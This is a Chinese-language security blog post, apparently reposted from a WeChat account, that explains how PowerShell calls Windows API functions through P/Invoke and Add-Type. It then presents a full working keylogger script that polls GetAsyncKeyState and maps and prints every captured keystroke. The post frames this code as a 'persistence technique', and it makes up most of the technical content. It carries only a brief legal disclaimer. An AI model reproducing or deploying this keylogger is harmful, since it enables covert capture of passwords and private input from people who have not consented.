【权限维持技术】PowerShell 调用Windows API实现键盘监听器

admin 2023年12月23日14:31:44评论34 views字数 3279阅读10分55秒阅读模式

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

调用Windows API

PowerShell 是基于 .NET Framework(或者在较新版本中是 .NET Core/.NET 5+)构建的。.NET 提供了一种名为“平台调用”(Platform Invocation Services,简称 P/Invoke)的机制,允许 .NET 代码调用本机的非托管函数,这些函数通常包含在 Windows API 的 DLL 中。

由于 PowerShell 脚本引擎可以访问 .NET 类库和运行时的所有功能,因此它也能够使用同样的机制来调用这些 API。下面是使得 PowerShell 能够调用 Windows API 的关键技术:
  • .NET 平台的跨语言集成 PowerShell 脚本能够访问几乎所有的 .NET 类和方法,包括用于调用非托管代码的类和方法。
  • P/Invoke 机制 .NET Framework 提供了 P/Invoke,一种特殊的语言特性,使得在托管代码中调用非托管函数(比如 Windows API)变得可能。P/Invoke 通过 DllImport 属性指定要调用外部非托管函数的详细信息。
  • Add-Type cmdlet PowerShell 提供了 Add-Type cmdlet,它可以动态地编译和加载 C# 或其他 .NET 支持的代码。通过 Add-Type,可以在 PowerShell 脚本中定义、编译和加载带有 P/Invoke 签名的 .NET 类型。
  • 非托管 API 的普遍可用性 Windows 操作系统广泛使用 DLL 来提供系统服务和功能,包括用户界面、文件操作等。这些 DLL 如 user32.dll、kernel32.dll 等包含了大量的 API 函数,PowerShell 可以通过 .NET 的 P/Invoke 机制来调用这些函数。

【权限维持技术】PowerShell 调用Windows API实现键盘监听器

定义函数签名

定义 Windows API 函数签名指的是声明一个函数的原型,这样我们就可以在代码中调用 Windows 操作系统提供的 API 函数。这个声明通常需要包含函数的名称、返回类型、参数的类型以及其他必要的属性,例如调用约定和字符串的字符集。
在 C# 或使用 .NET 的其他语言中,我们通过平台调用服务 (P/Invoke) 来声明这些签名。这允许托管代码(如 C# 或 PowerShell 脚本)调用不属于 .NET 框架的非托管 API。P/Invoke 使用特殊的属性 DllImport 来导入 DLL,并声明要使用的函数签名。

例如,要在 PowerShell 中使用 Windows API 函数 GetAsyncKeyState,您需要定义如下的函数签名:
$signature = @"    [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]    public static extern short GetAsyncKeyState(int virtualKeyCode);"@
在这个例子中,GetAsyncKeyState 函数的签名包括以下内容:
  • [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]:这是一个属性,指示 .NET 运行库这个函数是从 user32.dll 动态链接库中导入的,它的字符集是自动的(意味着根据平台选择 ANSI 或 Unicode),并且禁止通过省略参数名来搜索 DLL 中匹配的函数。
  • public static extern short:这表示函数的返回类型是 short(在 C# 中是 16 位整数),而 public static extern 指明这是一个静态的外部函数。
  • GetAsyncKeyState(int virtualKeyCode):这是被导入的函数的名称和它的参数列表。
通过这样的声明,我们就能够在 PowerShell 或其他 .NET 代码中调用 Windows API 函数了。在实际调用这些函数之前,通常需要通过 Add-Type cmdlet 将这些签名编译到一个动态生成的 .NET 类中。


添加并使用API

一旦定义了 DLL 导入声明(P/Invoke),在代码中就可以直接调用这个外部函数,就像调用本地 .NET 方法一样。而且不需显式调用加载库或检索函数指针的方法,.NET 运行时会负责这些底层工作。

# 将签名添加为新类型Add-Type -TypeDefinition $signature -Language CSharp

# 使用新增类型的方法$currentLayout = [Win32]::GetKeyboardLayout([System.Threading.Thread]::CurrentThread.ManagedThreadId)

键盘监听器

公众号之前的文章已经介绍了如何通过C++编写键盘监听器,现在我们也可以通过PowerShell调用Windows API来实现键盘监听器

[CmdletBinding()]Param()

# Import the user32.dll functions with correct spelling$signature = @"using System;using System.Runtime.InteropServices;

public class Win32 {    [DllImport("user32.dll")]    public static extern short GetAsyncKeyState(int vKey);

    [DllImport("user32.dll")]    public static extern int MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl);

    [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]    public static extern IntPtr GetKeyboardLayout(uint threadId);}"@

# Try to add the compiled type from the signaturetry {    Add-Type -TypeDefinition $signature -Language CSharp}catch {    # If the type already exists, catch the exception and ignore it}

$currentLayout = [Win32]::GetKeyboardLayout([System.Threading.Thread]::CurrentThread.ManagedThreadId)

function MapVirtualKeyToChar {    param([uint32]$vkey)

    $MAPVK_VK_TO_CHAR = 2    $char = [Win32]::MapVirtualKeyEx($vkey, $MAPVK_VK_TO_CHAR, $currentLayout)

    if ($char -gt 0) {        return [char]$char    } else {        return $null    }ad}

while ($true) {    Start-Sleep -Milliseconds 40    for ($char = 1; $char -le 254; $char++) {        if ([Win32]::GetAsyncKeyState($char) -eq -32767) {            $mappedChar = MapVirtualKeyToChar -vkey $char            if ($mappedChar) {                Write-Host $mappedChar            }        }    }}

【权限维持技术】PowerShell 调用Windows API实现键盘监听器

总结

本文介绍了PowerShell导入Dll并调用Windows API的方法,PowerShell由.Net负责底层工作,从而具备了许多强大的功能。并根据上述知识编写了一个键盘监听器。后文将根据PowerShell+Windows API探索更多强大的应用。

原文始发于微信公众号(赛博安全狗):【权限维持技术】PowerShell 调用Windows API实现键盘监听器

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月23日14:31:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【权限维持技术】PowerShell 调用Windows API实现键盘监听器http://cn-sec.com/archives/2331246.html

发表评论

匿名网友 填写信息